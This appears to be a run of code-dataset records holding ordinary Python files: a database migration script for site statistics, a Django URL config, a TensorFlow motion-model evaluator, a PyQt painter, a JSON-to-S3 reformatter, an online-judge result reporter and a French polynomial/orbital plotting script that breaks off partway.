\"\"\"\n def __call__(self):\n dst_conn = model.Base.metadata.bind\n trans = dst_conn.begin()\n self.migrate(u\"name\", 100)\n self.migrate(u\"cas\", 25)\n self.migrate(u\"unna\", 25)\n trans.commit()\n\n def migrate(self, type_, number):\n msg_fmt = \"archive-search: fetching top {} CAMEO {} {} search terms\"\n cc = src_md.tables[\"Search\"].columns\n count = sa.func.count().label(\"count\")\n value = sa.func.lower(cc.term).label(\"value\")\n earliest = sa.func.min(cc.timestamp).label(\"earliest\")\n latest = sa.func.max(cc.timestamp).label(\"latest\")\n fields = [count, value, earliest, latest]\n base_sql = sa.select(fields, group_by=[value], \n order_by=[count.desc(), value], limit=number)\n base_sql = base_sql.where(cc.site == u\"cameo\")\n base_sql = base_sql.where(cc.type == type_)\n # Successful\n print(msg_fmt.format(number, type_, \"successful\"))\n new_type = \"search-{}\".format(type_)\n sql = base_sql.where(cc.count > 0)\n self.select_and_insert(new_type, sql)\n # Unsuccessful\n print(msg_fmt.format(number, type_, \"unsuccessful\"))\n new_type = \"search-{}-fail\".format(type_)\n sql = base_sql.where(cc.count == 0)\n self.select_and_insert(new_type, sql)\n\n def select_and_insert(self, new_type, sql):\n src_conn = src_md.bind\n dst_conn = model.Base.metadata.bind\n insert = model.Archive.__table__.insert()\n records = []\n for r in src_conn.execute(sql):\n dic = {\n \"site\": u\"cameo\",\n \"version\": u\"2.0.1\",\n \"type\": new_type,\n \"count\": r[\"count\"],\n \"value\": r[\"value\"],\n \"earliest\": r[\"earliest\"],\n \"latest\": r[\"latest\"],\n }\n records.append(dic)\n with sql_log.disabling():\n dst_conn.execute(insert, records)\n\n\nclass Archive_AdvancedMigrator(_Migrator):\n \"\"\"Archive the Cameo 2.0.1 advanced search.\n \n Top 10 advanced search fields.\n\n The 'value' column is a search field name.\n \"\"\"\n def __call__(self):\n src_conn = src_md.bind\n dst_conn = model.Base.metadata.bind\n insert = model.Archive.__table__.insert()\n trans = dst_conn.begin()\n cc = src_md.tables[\"Search\"].columns\n # Can't use SQL COUNT(*) because value may contain multiple fields.\n fields = [cc.term.label(\"value\")]\n sql = sa.select([cc.term])\n sql = sql.where(cc.site == \"cameo\")\n sql = sql.where(cc.type == \"advanced\")\n # Including both successful and unsuccessful searches.\n msg_fmt = \"archive-advanced: fetching CAMEO advanced search fields\"\n counter = Counter()\n for r in src_conn.execute(sql):\n for term in r[0].split():\n counter(term)\n popular_fields = counter.get_popular(10)\n records = []\n for count, value in popular_fields:\n dic = {\n \"site\": \"cameo\", \n \"version\": \"2.0.1\", \n \"type\": \"advanced\",\n \"count\": count,\n \"value\": value,\n \"earliest\": None,\n \"latest\": None,\n }\n records.append(dic)\n if records:\n with sql_log.disabling():\n dst_conn.execute(insert, records)\n trans.commit()\n\n\nclass RefererMigrator(_InsertMigrator):\n src_tablename = \"Referer\"\n dst_orm_class = model.Referer\n cutoff = CUTOFF_ACCESS\n\n\nclass EventMigrator(_InsertMigrator):\n \"\"\"Migrate the event records that won't be archived.\n\n Copy the non-cameo records (inews, rlink). The values for these\n sites all normalized.\n\n The 'value' column is the record ID or section name of the event.\n \"\"\"\n src_tablename = \"Event\"\n dst_orm_class = model.Event\n\n def get_src_sql(self):\n \"\"\"Select all non-cameo 'event' records, counting the occurrences.\"\"\"\n tbl = src_md.tables[self.src_tablename]\n cc = tbl.columns\n year = sa.extract(\"YEAR\", cc.timestamp).label(\"year\")\n earliest = sa.func.min(cc.timestamp).label(\"earliest\")\n latest = sa.func.max(cc.timestamp).label(\"latest\")\n value = sa.func.lower(cc.value).label(\"value\")\n count = sa.func.count().label(\"count\")\n group = [cc.site, cc.type, year, value]\n fields = group + [count, earliest, latest]\n sql = sa.select(fields, group_by=group, order_by=group)\n sql = sql.where(cc.site.in_([u\"inews\", u\"rlink\"]))\n return sql\n\n\nclass Archive_EventMigrator(_Migrator):\n \"\"\"Archive the Cameo 2.0.1 events.\n \n Top 25 chemical datasheet views, MyChemicals additions, UN/NA records, \n and react records. (Don't archive help usage.) Canonicalize the \n material IDs in the 'value' field.\n\n The 'value' column is the record ID or section name of the event.\n \"\"\"\n def __call__(self):\n src_conn = src_md.bind\n dst_conn = model.Base.metadata.bind\n insert = model.Archive.__table__.insert()\n type_param = sa.bindparam(\"type\", sa.types.Unicode)\n trans = dst_conn.begin()\n cc = src_md.tables[\"Event\"].columns\n # Uppercase value because valid values are material keys (with an\n # uppercase prefix) or numbers (which are the same in either case).\n value = sa.func.upper(cc.value).label(\"value\")\n count = sa.func.count().label(\"count\")\n earliest = sa.func.min(cc.timestamp).label(\"earliest\")\n latest = sa.func.max(cc.timestamp).label(\"latest\")\n sql = sa.select([count, value, earliest, latest], group_by=[value], \n order_by=[count.desc(), value])\n sql = sql.where(cc.site == \"cameo\")\n sql = sql.where(cc.type == type_param)\n begin_msg = \"archive-event: fetching top {} CAMEO {} events\"\n end_msg = \"archive-event: read {} {} source records\"\n # It doesn't seem possible to make a bind parameter for LIMIT.\n def select_and_insert(type_, new_type, number, prefixes):\n \"\"\"Select the top N events of the type. Convert values to material\n keys if possible, adding 'prefix' if it's a bare number.\n \"\"\"\n print(begin_msg.format(number, type_))\n sql2 = sql.limit(number)\n rslt = src_conn.execute(sql2, type=type_)\n records = []\n src_count = 0\n for r in rslt:\n src_count += 1\n v = r[\"value\"]\n if v[:2] in prefixes and len(v) > 2:\n pass\n elif v.isdigit():\n if prefixes[0] == u\"UN\":\n v = \"UN{:04}\" + v\n else:\n v = prefixes[0] + v\n else:\n continue # Don't insert this record; it's invalid.\n new_row = {\n \"site\": u\"cameo\",\n \"version\": u\"2.0.1\",\n \"type\": new_type,\n \"success\": True,\n \"count\": r[\"count\"],\n \"value\": v,\n \"earliest\": r[\"earliest\"],\n \"latest\": r[\"latest\"],\n }\n records.append(new_row)\n with sql_log.disabling():\n dst_conn.execute(insert, records)\n stopwatch.checkpoint(end_msg.format(src_count, type_))\n select_and_insert(u\"chemical\", u\"view-chemical\", 25, [u\"CH\"])\n select_and_insert(u\"mychemicals\", u\"mychemicals\", 25, [u\"CH\", u\"RG\"])\n select_and_insert(u\"unna\", u\"view-unna\", 25, [u\"UN\"])\n select_and_insert(u\"react\", u\"view-react\", 25, [u\"RG\"])\n trans.commit()\n \n\nclass AccessMigrator(_InsertMigrator):\n src_tablename = \"Access\"\n dst_orm_class = model.Access\n cutoff = CUTOFF_ACCESS\n\n def convert_record(self, r):\n u = urlparse.urlsplit(r[\"url\"])\n r[\"url\"] = u.path\n r[\"query\"] = u.query\n r[\"username\"] = r.pop(\"user\")\n return r\n\n\nclass FeedMigrator(_Migrator): # UNUSED: superceded by class below.\n \"\"\"Calculate newsfeed subscriptions and update the Monthly table.\n\n Count all distinct subscription IDs in the month. All feed requests \n without a subscription ID are treated as a single ID.\n\n Skip months that have no existing Monthly record.\n \"\"\"\n src_tablename = \"Access\"\n dst_orm_object = model.Monthly\n\n def __call__(self):\n print(\"feeds: fetching newsfeed access records\")\n sess = dst_Session()\n # by_month variables: ``{(year, month)`` : int}\n views_by_month, feeds_by_month, links_by_month = self.get_data()\n #print(\"views_by_month =>\", views_by_month)\n #print(\"feeds_by_month =>\", feeds_by_month)\n #print(\"links_by_month =>\", links_by_month)\n q = sess.query(model.Monthly).filter_by(site=\"inews\")\n for mth in q:\n key = mth.year, mth.month\n if key in views_by_month:\n mth.page_views = views_by_month[key]\n if key in feeds_by_month:\n mth.feeds = feeds_by_month[key]\n if key in links_by_month:\n mth.feedlinks = links_by_month[key]\n sess.commit()\n\n def get_data(self):\n \"\"\"Calculate inews monthly page views and newsfeed usage.\n\n Return three dicts, all keyed by ``(year, month)``. The first is the\n number of page views (excluding newsfeeds but including feed\n linkbacks). The second is the number of feed subscriptions (unique feed\n IDs occurring more than once in the month). The third is the number of\n feed linkbacks.\n \"\"\"\n src_conn = src_md.bind\n cc = src_md.tables[\"Access\"].columns\n year = sa.extract(\"YEAR\", cc.timestamp).label(\"year\")\n month = sa.extract(\"MONTH\", cc.timestamp).label(\"month\")\n count = sa.func.count().label(\"count\")\n count_distinct_urls = sa.func.count(cc.url.distinct()).label(\"count\")\n group = [year, month]\n def make_sql(count_col):\n sql = sa.select([year, month, count_col], cc.site == \"inews\", \n group_by=[year, month])\n return sql\n # 1. Page views by month\n sql = make_sql(count)\n sql = sql.where(~ cc.url.like(u\"/incidents.%\"))\n views_by_month = self.make_month_dict(src_conn.execute(sql))\n stopwatch.checkpoint(\"feeds: selected page views by month\")\n # 2. Feeds by month.\n sql = make_sql(count_distinct_urls)\n sql = sql.where(cc.url.like(u\"/incidents.%\"))\n feeds_by_month = self.make_month_dict(src_conn.execute(sql))\n stopwatch.checkpoint(\"feeds: selected feeds by month\")\n # 3. Feed links by month.\n sql = make_sql(count)\n sql = sql.where(cc.url.like(u\"/incident/%?f=%\"))\n links_by_month = self.make_month_dict(src_conn.execute(sql))\n stopwatch.checkpoint(\"feeds: selected linkbacks by month\")\n return views_by_month, feeds_by_month, links_by_month\n\n def make_month_dict(self, rows):\n \"\"\"Execute a three-column query result into a dict.\n\n ``rows`` is an iterable of sequences, normally a SQLAlchemy result.\n\n The first two columns are assumed to be the year and month, and will\n form the dict key: ``(year, month)``. The third column will be the dict\n value.\n \"\"\"\n return {(x[0], x[1]) : x[2] for x in rows}\n \n\nclass FeedMigrator(_Migrator):\n \"\"\"Calculate newsfeed subscriptions and update the Monthly table.\n\n This implementation queries each month separately due to a disk-space\n limitation on the server. (The /tmp partition is not big enough for a huge\n query.)\n\n Count all distinct subscription IDs in the month. All feed requests \n without a subscription ID are treated as a single ID.\n\n Skip months that have no existing Monthly record.\n \"\"\"\n def __call__(self):\n print(\"feeds: fetching newsfeed access records\")\n print(\"feeds: selecting 'monthly' records\")\n sess = dst_Session()\n cc = src_md.tables[\"Access\"].columns\n q = sess.query(model.Monthly).filter_by(site=\"inews\")\n q = q.order_by(model.Monthly.year, model.Monthly.month)\n for mth in q:\n month_str = \"{} {}\".format(MONTHS[mth.month], mth.year)\n if mth.year < 2010 or (mth.year == 2010 and mth.month < 4):\n print(\"feeds: skipping\", month_str, \"because the original\",\n \"Access records are purged\")\n continue\n print(\"feeds: selecting inews totals for\", month_str)\n date_range = self.get_date_range(cc.timestamp, mth.year, mth.month)\n stopwatch.checkpoint(\"feeds: ... counted page views\")\n mth.page_views = self.get_views_for_month(date_range)\n stopwatch.checkpoint(\"feeds: ... counted feeds\")\n mth.feeds = self.get_feeds_for_month(date_range)\n stopwatch.checkpoint(\"feeds: ... counted feedlinks\")\n mth.feedlinks = self.get_feedlinks_for_month(date_range)\n sess.commit()\n\n def get_date_range(self, col, year, month):\n \"\"\"Return a SQL WHERE on the datetime column for the specified month.\n \"\"\"\n if month < 12:\n end_year = year\n end_month = month + 1\n else:\n end_year = year + 1\n end_month = 1\n start = datetime.datetime(year, month, 1, 0, 0, 0)\n end = datetime.datetime(end_year, end_month, 1, 0, 0, 0)\n sql = sa.and_(col >= start, col < end)\n return sql\n\n def get_views_for_month(self, date_range):\n src_conn = src_md.bind\n cc = src_md.tables[\"Access\"].columns\n sql = sa.select([sa.func.count()])\n sql = sql.where(cc.site == u\"inews\").where(date_range)\n sql = sql.where(~ cc.url.like(u\"/incidents.%\"))\n return src_conn.execute(sql).scalar()\n\n def get_feeds_for_month(self, date_range):\n src_conn = src_md.bind\n cc = src_md.tables[\"Access\"].columns\n sql = sa.select([sa.func.count(cc.url.distinct())])\n sql = sql.where(cc.site == u\"inews\").where(date_range)\n sql = sql.where(cc.url.like(u\"/incidents.%\"))\n return src_conn.execute(sql).scalar()\n\n def get_feedlinks_for_month(self, date_range):\n src_conn = src_md.bind\n cc = src_md.tables[\"Access\"].columns\n sql = sa.select([sa.func.count()])\n sql = sql.where(cc.site == u\"inews\").where(date_range)\n sql = sql.where(cc.url.like(u\"/incident/%?f=%\"))\n return src_conn.execute(sql).scalar()\n\n\n#### MAIN ROUTINE ####\ndef main():\n print(\"Starting.\")\n parser = get_parser()\n args = parser.parse_args()\n if args.create and args.truncate:\n parser.error(\"can't specify both --create and --truncate\")\n sql_log.initialize(args.sql)\n init_databases(args.src_dburl, args.dst_dburl, args.create, args.truncate)\n print()\n all_actions = not any([args.access, args.referer, args.search, args.event,\n args.monthly, args.feeds, \n args.archive_search, args.archive_advanced, args.archive_event])\n ##\n ## Perform the actions from smallest table to largest table, while\n ## respecting dependency order.\n ##\n # Small actions (less than 2 million records each)\n if args.monthly or all_actions:\n migrate(MonthlyMigrator())\n if args.search or all_actions:\n migrate(SearchMigrator())\n if args.archive_search or all_actions:\n migrate(Archive_SearchMigrator())\n if args.archive_advanced or all_actions:\n migrate(Archive_AdvancedMigrator())\n # Referer actions (12 million records)\n if args.referer or all_actions:\n migrate(RefererMigrator())\n # Event actions (13 million records)\n if args.event or all_actions:\n migrate(EventMigrator())\n if args.archive_event or all_actions:\n migrate(Archive_EventMigrator())\n # Access actions (277 million records)\n if args.access or all_actions:\n migrate(AccessMigrator())\n if args.feeds or all_actions: # Depends on 'monthly' action.\n migrate(FeedMigrator())\n stopwatch.finish()\n print()\n \nif __name__ == \"__main__\": main()\n","sub_path":"third_party_lib/hazpy/lib/hazpy/sitestats/migrate.py","file_name":"migrate.py","file_ext":"py","file_size_in_byte":28131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"578562292","text":"from django.urls import path\n\nfrom .views import (\n UserList, DonorList, DonorCreateDetails, UserDetail, DonorEditDetails\n)\n\n\nurlpatterns = [\n path('users/', UserList.as_view(), name='user-list'),\n path('user/profile/', UserDetail.as_view(), name='user-detail'),\n path('donors/', DonorList.as_view(), name='donor-list'),\n path('create-details/', DonorCreateDetails.as_view(), name='create-details'),\n path('edit-details/<pk>/', DonorEditDetails.as_view(), name='edit-details'),\n]\n","sub_path":"donor/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"234299770","text":"\"\"\"Copyright (c) 2019 AIT Lab, ETH Zurich, Manuel Kaufmann, Emre Aksan\n\nStudents and holders of copies of this code, accompanying datasets,\nand documentation, are not allowed to copy, distribute or modify\nany of the mentioned materials beyond the scope and duration of the\nMachine Perception course projects.\n\nThat is, no partial/full copy nor modification of this code and\naccompanying data should be made publicly or privately available to\ncurrent/future students or other parties.\n\"\"\"\nimport os\nimport glob\nimport json\nimport argparse\nimport numpy as np\nimport tensorflow as tf\n\nimport sys\nimport datetime\n\nimport tf_models as models\nfrom tf_data import TFRecordMotionDataset\nfrom constants import Constants as C\nfrom utils import export_results\nfrom utils import export_code\nfrom visualize import Visualizer\nfrom fk import SMPLForwardKinematics\nfrom pp_utils import angle_axis_to_rot_mats_cv2, angle_axis_to_rot_mats\n\n\ntf.logging.set_verbosity(tf.logging.ERROR)\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = \"3\"\n\n\ndef create_and_restore_test_model(session, experiment_dir, args):\n \"\"\"\n Creates and restores the test model stored in the given directory.\n Args:\n session: The GPU session.\n experiment_dir: Where the model checkpoints and its config is stored.\n args: The commandline arguments of this script.\n\n Returns:\n The test model, the test data, and the config of the model.\n\n \"\"\"\n config = json.load(open(os.path.abspath(os.path.join(experiment_dir, 'config.json')), 'r'))\n\n # Store seed and target sequence length in the config.\n # For the test set, these are hard-coded to be compatible with the submission requirements.\n config[\"target_seq_len\"] = 24\n config[\"source_seq_len\"] = 120\n\n # For the test data set, we don't have labels, so the window length is just the length of the seed.\n window_length = config[\"source_seq_len\"]\n data_path = args.data_dir\n test_data_path = os.path.join(data_path, \"test\", \"poses-?????-of-?????\")\n meta_data_path = os.path.join(data_path, \"training\", \"stats.npz\")\n\n with tf.name_scope(\"test_data\"):\n test_data = TFRecordMotionDataset(data_path=test_data_path,\n meta_data_path=meta_data_path,\n batch_size=args.batch_size,\n shuffle=False,\n extract_windows_of=window_length,\n extract_random_windows=False,\n num_parallel_calls=16,\n to_angles=config[\"to_angles\"],\n standardization = config['standardization'])\n test_pl = test_data.get_tf_samples()\n\n # Select the type of model we want to use.\n if config['model_type'] == \"dummy\":\n model_cls = models.DummyModel\n elif config[\"model_type\"] == \"zero_velocity\":\n model_cls = models.ZeroVelocityModel\n elif config['model_type'] == 'seq2seq':\n model_cls = models.Seq2seq\n else:\n raise Exception(\"Unknown model type.\")\n\n # Create the model.\n with tf.name_scope(C.TEST):\n test_model = model_cls(\n config=config,\n data_pl=test_pl,\n mode=C.EVAL,\n reuse=False,\n dtype=tf.float32,\n is_test=True,\n means=test_data.mean_channel,\n vars=test_data.var_channel,\n standardization=config['standardization'])\n test_model.build_graph()\n\n # Count number of trainable parameters.\n num_param = 0\n for v in tf.trainable_variables():\n num_param += np.prod(v.shape.as_list())\n print(\"# of parameters: \" + str(num_param))\n\n if not config[\"model_type\"] == \"zero_velocity\":\n # Restore model parameters.\n saver = tf.train.Saver(tf.global_variables(), max_to_keep=1, save_relative_paths=True)\n\n # Restore the latest checkpoint found in `experiment_dir`.\n ckpt = tf.train.get_checkpoint_state(experiment_dir, latest_filename=\"checkpoint\")\n\n if ckpt and ckpt.model_checkpoint_path:\n # Check if the specific checkpoint exists\n ckpt_name = os.path.basename(ckpt.model_checkpoint_path)\n print(\"Loading model checkpoint {0}\".format(ckpt_name))\n saver.restore(session, ckpt.model_checkpoint_path)\n else:\n raise ValueError(\"could not load checkpoint\")\n\n return test_model, test_data, config, test_data.mean_channel, test_data.var_channel, test_data.standardization\n\n\ndef evaluate_model(sess, eval_model, eval_data, means, vars, stand):\n \"\"\"\n Make a full pass on the test set and return the results.\n Args:\n sess: The active session.\n eval_model: The model we want to evaluate.\n eval_data: The data we want to evaluate.\n\n Returns:\n The results stored in a dictionary {\"file_id\" => (prediction, seed)}\n \"\"\"\n # Initialize iterator.\n eval_iter = eval_data.get_iterator()\n sess.run(eval_iter.initializer)\n\n eval_result = dict()\n try:\n while True:\n # Get the predictions. Must call the function that works without having access to the ground-truth data,\n # as there is no ground-truth for the test set.\n prediction, seed_sequence, data_id = eval_model.predict(sess)\n\n # only denormalize seed, predictions are already denormalized in sampled_step function!\n if stand:\n seed_sequence = seed_sequence * np.sqrt(vars) + means\n\n # Store each test sample and corresponding predictions with the unique sample IDs.\n for i in range(prediction.shape[0]):\n eval_result[data_id[i].decode(\"utf-8\")] = (prediction[i], seed_sequence[i])\n except tf.errors.OutOfRangeError:\n pass\n return eval_result\n\n\ndef evaluate(experiment_dir, args):\n \"\"\"\n Evaluate the model stored in the given directory. It loads the latest available checkpoint and iterates over\n the test set.\n Args:\n experiment_dir: The model directory.\n args: Commandline arguments.\n \"\"\"\n gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=0.9, allow_growth=True)\n with tf.Session(config=tf.ConfigProto(gpu_options=gpu_options)) as sess:\n test_model, test_data, config, means, vars, stand = create_and_restore_test_model(sess, experiment_dir, args)\n\n print(\"Evaluating test set ...\")\n eval_result = evaluate_model(sess, test_model, test_data, means, vars, stand)\n\n if args.export:\n # Export the results into a csv file that can be submitted.\n fname = os.path.join(experiment_dir, \"predictions_in{}_out{}.csv\".format(config['source_seq_len'],\n config['target_seq_len']))\n export_results(eval_result, fname)\n\n # Export a zip file containing the code that generated the results.\n code_files = glob.glob('./*.py', recursive=False)\n export_code(code_files, os.path.join(experiment_dir, 'code.zip'))\n\n if args.visualize:\n # Visualize the seed sequence and the prediction for some random samples in the test set.\n fk_engine = SMPLForwardKinematics()\n visualizer = Visualizer(fk_engine)\n n_samples_viz = 10\n rng = np.random.RandomState(42)\n idxs = rng.randint(0, len(eval_result), size=n_samples_viz)\n sample_keys = [list(sorted(eval_result.keys()))[i] for i in idxs]\n for k in sample_keys:\n visualizer.visualize(eval_result[k][1], eval_result[k][0], title=k)\n\n\nEXPERIMENT_TIMESTAMP = datetime.datetime.now().strftime(\"%d_%H-%M\")\nLOG_FILE = \"./logs/log_\" + EXPERIMENT_TIMESTAMP\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--data_dir', required=True, type=str, default=\"./data\", help='Where the data is stored.')\n parser.add_argument('--save_dir', required=True, type=str, default=\"./experiments\", help='Where models are stored.')\n parser.add_argument('--model_id', required=True, type=str, help='Which model to load (its timestamp).')\n parser.add_argument('--batch_size', default=64, type=int, help='Batch size.')\n parser.add_argument('--visualize', action=\"store_true\", help='Visualize some model predictions.')\n parser.add_argument('--export', action=\"store_true\", help=\"Export predictions to a csv file.\")\n parser.add_argument(\"--log\", action=\"store_true\", help=\"create log file\")\n\n args = parser.parse_args()\n\n if args.log:\n sys.stdout = open(LOG_FILE, \"w\")\n\n try:\n experiment_dir = glob.glob(os.path.join(args.save_dir, args.model_id + \"-*\"), recursive=False)[0]\n except IndexError:\n raise Exception(\"Model \" + str(args.model_id) + \" is not found in \" + str(args.save_dir))\n\n evaluate(experiment_dir, args)\n sys.stdout.close()\n\n","sub_path":"evaluate_test.py","file_name":"evaluate_test.py","file_ext":"py","file_size_in_byte":9024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"648423013","text":"from PyQt5.QtGui import QPainter\nfrom Point import Point\n\nclass Painter(QPainter):\n def __init__(self, mainWindow):\n super().__init__(mainWindow)\n self.setRenderHints(QPainter.Antialiasing | QPainter.SmoothPixmapTransform, True)\n\n def drawCircle(self, *args):\n if type(args[0]) is Point:\n r = args[1]\n self.drawEllipse(args[0].x - r / 2, args[0].y - r / 2, r, r)\n else:\n r = args[2]\n self.drawEllipse(args[0] - r / 2, args[1] - r / 2, r, r)\n","sub_path":"pc/monitor/windows monitor/Painter.py","file_name":"Painter.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"501013221","text":"#!/usr/bin/env python3\n\"\"\" Reformat json files from tesla-parser to match Kinesis in S3\n\nReformat json files created by tesla-parser into a directory\nstructure and file format similar to AWS Kinesis. The created\nfiles can be uploaded to s3\n\"\"\"\n\nimport time\nimport json\nimport argparse\nimport re\nimport secrets\nimport os\nimport errno\n# from time import strftime\nfrom sys import stdin\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--streamname', help='Name of stream',\n required=True)\n parser.add_argument('--mins',\n help=\"minutes in each file (default=5, max=60)\",\n default=5, type=int)\n args = parser.parse_args()\n\n # Read each line from stdin keying on fromtime\n lastfilebase = ''\n outfile = None\n for line in stdin:\n # find timestamp\n if line[:1] == '{':\n record = json.loads(line)\n tstamp = int(record['retrevial_time'])\n # print('time is {}'.format(record.get('retrevial_time')))\n if line[:1] == '#':\n ts = re.match(r\"^# (\\d{10})[\\. ]\", line)\n if not ts:\n ts = re.search(r\"\\) at (\\d{10}$)\", line)\n if not ts:\n print(line)\n quit(1)\n tstamp = int(ts.group(1))\n # print('time is {}'.format(ts.group(1)))\n\n # Rollback minutes to last 5m mark\n minutes = int(time.strftime('%M', time.gmtime(tstamp)))\n minutes = minutes - (minutes % args.mins)\n\n # Build the filepath\n timepath = time.strftime('%Y,%m,%d,%H', time.gmtime(tstamp))\n outfiledir = os.path.join(args.streamname, *timepath.split(','))\n # outfilebase is the first part before the random strings are\n # added.\n outfilebase = ('{}-1-{}-{:02d}-00'\n .format(args.streamname,\n time.strftime(\n '%Y-%m-%d-%H', time.gmtime(tstamp)),\n minutes))\n if (lastfilebase != outfilebase):\n # Time to create a new file\n if outfile is not None:\n outfile.close()\n outfilename = '{}-{}-{}-{}-{}-{}'.format(outfilebase,\n secrets.token_hex(4),\n secrets.token_hex(2),\n secrets.token_hex(2),\n secrets.token_hex(2),\n secrets.token_hex(6))\n if not os.path.exists(outfiledir):\n try:\n os.makedirs(outfiledir)\n except OSError as e:\n if e.error != errno.EEXIST:\n raise\n outfilepath = os.path.join(outfiledir, outfilename)\n outfile = open(outfilepath, \"w\")\n lastfilebase = outfilebase\n print(outfilepath)\n outfile.write(line)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"json2s3.py","file_name":"json2s3.py","file_ext":"py","file_size_in_byte":3111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"333307611","text":"#coding=utf-8\nfrom uoj_judger_config import *\nimport judger_class_lib as lib\nimport fcntl\n\nclass pyjudgerReporter:\n\tdef __init__(self, config, test_num):\n\t\tself.config = config\n\t\tself.tot_time = 0\n\t\tself.max_memory = 0\n\t\tself.details_out = \"\"\n\t\tself.tot_score = 0\n\t\tself.test_num = test_num\n\n\tdef report_judgement_status(self, info):\n\t\tprint(self.config.result_path+\"/cur_status.txt\")\n\t\tF = open(self.config.result_path+\"/cur_status.txt\", \"w\")\n\t\tfcntl.flock(F.fileno(), fcntl.LOCK_EX)\n\t\tF.write(info[:512])\n\n\tdef add_point_info(self, info):\n\t\tif info.ust >= 0:\n\t\t\tself.tot_time += info.ust\n\t\tif info.usm >= self.max_memory:\n\t\t\tself.max_memory = info.usm\n\t\tself.details_out += \"<test num=\\\"%u\\\" score=\\\"%u\\\" info=\\\"%s\\\" time=\\\"%u\\\" memory=\\\"%u\\\">\"\\\n\t\t\t\t% (info.num, info.scr / self.test_num, info.info, info.ust, info.usm)\n\t\tself.tot_score += info.scr / self.test_num\n\t\tif info.input:\n\t\t\tself.details_out += \"<in>%s</in>\" % (lib.htmlspecialchars(info.input))\n\t\tif info.output:\n\t\t\tself.details_out += \"<out>%s</out>\" % (lib.htmlspecialchars(info.output))\n\t\tif info.res:\n\t\t\tself.details_out += \"<res>%s</res>\" % (lib.htmlspecialchars(info.res))\n\t\tif info.extrainfo:\n\t\t\tself.details_out += info.extrainfo\n\t\tself.details_out += \"</test>\\n\"\n\n\tdef add_subtask_info(self, subTaskIndex, scr=0, info=\"\", points=None):\n\t\tself.details_out += \"<subtask \"\n\t\tself.details_out += \" num=\\\"%u\\\" \"%subTaskIndex\n\t\tself.details_out += \" score=\\\"%u\\\" \"%scr\n\t\tself.details_out += \" info=\\\"%s\\\" \"%lib.htmlspecialchars(info)\n\t\tself.details_out += \" >\\n\"\n\n\t\tif points:\n\t\t\tfor each in points:\n\t\t\t\tself.add_point_info(each)\n\t\tself.details_out += \" </subtask>\\n\"\n\n\tdef end_judge_ok(self):\n\t\tF = open(self.config.result_path+\"/result.txt\", \"w\")\n\t\tF.write(\"score %d\\n\" % self.tot_score)\n\t\tF.write(\"time %d\\n\" % self.tot_time)\n\t\tF.write(\"memory %d\\n\" % self.max_memory)\n\t\tF.write(\"details\\n\")\n\t\tF.write(\"<tests>\\n\")\n\t\tF.write(self.details_out)\n\t\tF.write(\"</tests>\\n\")\n\t\tF.close()\n\t\texit(0)\n\n\tdef end_judge_judgement_failed(self, info=\"\"):\n\t\tF = open(self.config.result_path+\"/result.txt\", \"w\")\n\t\tF.write(\"error Judgment Failed\\n\")\n\t\tF.write(\"details\\n\")\n\t\tF.write(\"<error>%s</error>\\n\" % lib.htmlspecialchars(info))\n\t\tF.close()\n\t\texit(0)\n\n\tdef end_judge_compile_error(self, info=\"\"):\n\t\tF = open(self.config.result_path+\"/result.txt\", \"w\")\n\t\tF.write(\"error Compile Error\\n\")\n\t\tF.write(\"details\\n\")\n\t\tF.write(\"<error>%s</error>\\n\" % lib.htmlspecialchars(info))\n\t\tF.close()\n\t\texit(0)\n\t\t\n\tdef end_judge_custom_error(self, label, info=\"\"):\n\t\tF = open(self.config.result_path+\"/result.txt\", \"w\")\n\t\tF.write(\"error %s\\n\" % label)\n\t\tF.write(\"details\\n\")\n\t\tF.write(\"<error>%s</error>\\n\" % lib.htmlspecialchars(info))\n\t\tF.close()\n\t\texit(0)\n","sub_path":"data/22/1/uoj_judger_reporter.py","file_name":"uoj_judger_reporter.py","file_ext":"py","file_size_in_byte":2701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"581733244","text":"\r\n## MODE D'EMPLOI\r\n'''\r\nPour utiliser ce script, il faut l'exéctuer une fois en entier (CTRL+E).\r\nDepuis la console, on peut alors appeler la fonction orbitale qui prend en arguments les nombres quantiques l et ml. Par exemple, lorsqu'on saisit :\r\n\r\norbitale(2,1)\r\n \r\ndepuis la console, Python affiche (au bout d'un temps assez long) l'orbitale atomique correspondant à l=2 et ml=1\r\n'''\r\n## CHARGEMENT DES MODULES UTILES\r\n \r\nimport math\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib\r\nfrom mpl_toolkits.mplot3d import Axes3D\r\nimport numpy as np\r\n \r\n## DEFINITION DE LA CLASSE POLYNOME\r\n \r\nclass polynome:\r\n def __init__(self,liste_coeffs):\r\n self.coeffs=liste_coeffs\r\n \r\n def degre(self):\r\n n=len(self.coeffs)\r\n i=n-1\r\n while self.coeffs[i]==0:\r\n i-=1\r\n if i==-n:\r\n return -1\r\n return i\r\n \r\n def __add__(self,B):\r\n dA=self.degre()\r\n dB=B.degre()\r\n if dA<dB:\r\n self,B=B,self\r\n B0=B.coeffs+[0]*abs((dA-dB))\r\n return polynome([a+b for a,b in zip(self.coeffs,B0)])\r\n \r\n def __mul__(self,B):\r\n # multiplication par un scalaire à droite uniquement\r\n if isinstance(B,int) or isinstance(B,float):\r\n B=polynome([B])\r\n dA=self.degre()\r\n dB=B.degre()\r\n A0=self.coeffs+[0]*(dB)\r\n B0=B.coeffs+[0]*(dA)\r\n C=list()\r\n for i in range(dA+dB+1):\r\n c=0\r\n for k in range(i+1):\r\n c+=A0[k]*B0[i-k]\r\n C.append(c)\r\n return polynome(C)\r\n \r\n def __sub__(self,B):\r\n return self+polynome([-1])*B\r\n \r\n def __div__(self,scalaire):\r\n return polynome([ai/scalaire for ai in 